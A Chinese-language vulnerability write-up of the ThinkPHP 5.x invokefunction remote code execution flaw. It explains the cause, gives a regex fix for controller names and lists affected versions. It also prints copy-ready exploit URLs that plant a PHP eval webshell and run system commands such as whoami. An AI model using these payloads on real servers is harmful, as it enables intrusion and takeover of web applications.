由于框架对控制器名没有进行足够的检测,会导致在没有开启强制路由的情况下拿到webshell。
出现漏洞的地方在think\App下:
访问这样的路径:
http://serverName/?s=/home/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_POST[%22code%22])?^%3E%3Eshell.php
就会在public目录下生成一个一句话木马:
产生漏洞的原因:
thinkPHP在没有强制路由的情况下,是可以这样访问的:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
比对下漏洞URL(s=/home/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_POST[%22code%22])?^%3E%3Eshell.php):
home=》模块
\think\app=》控制器
invokefunction=》操作
function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_POST[%22code%22])?^%3E%3Eshell.php=》参数名/参数值
看到这应该很清楚了,TP未对控制器进行过滤,导致攻击者可以通过引入\符号来调用任意类方法。
修复的方法:
对控制器加上正则验证:
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }
额外说明:
s=/home/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_POST[%22code%22])?^%3E%3Eshell.php
执行的是think\App下的invokeFunction方法。
给这个方法第一个参数传call_user_func_array,
第二个参数是数组
vars[0]=system
vars[1][]=echo ^<?php @eval($_GET["code"])?^>>UF/shell.php
等于访问
s=/home/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_POST[%22code%22])?^%3E%3Eshell.php
相当于执行了这样的一个函数
call_user_func_array('system',["echo ^<?php @eval($_GET["code"])?^>>UF/shell.php"]);
call_user_func_array的作用就是用来回调各种函数的,有了这样的漏洞,可以执行各种函数。
例如:
?s=home/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
执行phpinfo函数。
?s=home/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
查询Linux web当前所属用户
受影响的TP版本:
ThinkPHP 5.x
5.1.x ~ 5.1.31
5.0.x ~ 5.0.23